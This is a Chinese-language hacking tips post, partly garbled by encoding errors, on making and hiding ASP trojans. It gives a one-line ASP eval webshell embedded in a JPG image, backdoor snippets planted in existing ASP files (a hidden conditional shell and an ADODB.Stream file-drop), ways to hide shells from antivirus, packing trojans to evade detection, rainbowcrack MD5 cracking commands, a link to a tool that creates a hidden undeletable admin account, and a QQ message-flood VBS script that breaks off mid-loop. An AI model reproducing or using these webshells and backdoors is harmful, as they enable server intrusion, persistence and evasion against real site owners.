菜鳥是如何變成ASP木馬高手的!
1.名稱:如何制作圖片ASP木馬
建一個(gè)asp文件,內(nèi)容為<!--#i nclude file="ating.jpg"-->
找一個(gè)正常圖片ating.jpg,插入一句話木馬(比如冰狐的),用ultraedit進(jìn)行hex編譯,插入圖片里,為了運(yùn)行成功,還要搜索<%和%>,將其變?yōu)?0,(不要替換自己asp的),再把jpg文件開頭加入
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'') </SCRIPT>
2. 名稱:整蠱網(wǎng)吧
先用精銳網(wǎng)吧輔助工具得到用戶名和密碼,然后用計(jì)算機(jī)管理聯(lián)結(jié)一臺(tái)機(jī)器,開telnet,連接,開共享,
復(fù)制一個(gè)木馬過去運(yùn)行即可。
3.名稱:感受MD5暴力破解的魅力
rainbowcrack用法先用rtgen生成庫 "rtgen md5 byte 1 7 5 2400 40000 all"
1和7代表密碼最小和最大長(zhǎng)度
阿汀我再加個(gè)方法:http://md5.rednoize.com/ 在線破解
或者到http://www.md5lookup.com/?category=01-3&searck=on
4.很多時(shí)候我們做免殺木馬,不用懂匯編,用北斗加殼程序就能逃殺,還有很多加殼軟件,大家木馬加殼的時(shí)候最好多選擇不知名的加殼軟件
5.名稱:隱蔽的插入型ASP木馬
(1)在我們要做手腳的asp文件里加入如下內(nèi)容
<%if request("action")="ok" then%>
shell代碼插在這里,最好是小馬,還要加密一下
<%end if%>
訪問的時(shí)候在你作手腳的asp文件后面加上?action=ok,即可
(2)另一種方法,在我們要做手腳的asp文件里加入如下內(nèi)容
<%
on error resume next
strFileName = Request.QueryString("filer")
set objStream = Server.createObject("ABODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.mappath("ating.asp"),2
%>
訪問的時(shí)候在做手腳的asp文件后面加上?filer=XXX
XXX為你本地上傳的一個(gè)路徑如 c:ating123.asp
上傳后在做手腳的asp的同文件夾中有ating,asp
?。?)前提得到system權(quán)限,
進(jìn)入網(wǎng)站目錄下一層
mkdir s…
copy ating.asp s…/
這樣殺毒軟件找不到的
訪問http://網(wǎng)站/s…/ating.asp即可
6. 工具h(yuǎn)ttp://hack520.tengyi.cn/chaojiyonghu.rar,此工具在該電腦生成一個(gè)超級(jí)用戶
用戶名為:hack 密碼110,在DOS下和計(jì)算機(jī)管理器上看不到你建立的用戶,并且是刪除不掉的.
7.名稱:QQ群腳本攻擊
打開qq對(duì)話誆,復(fù)制消息,然后
下面的內(nèi)容保存為.vbs 文件,運(yùn)行即可
Set WshShell= WScript.createobject("WScript.Shell")
WshShell.AppActivate "QQ信息攻擊腳本"
for i=1 to 20
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信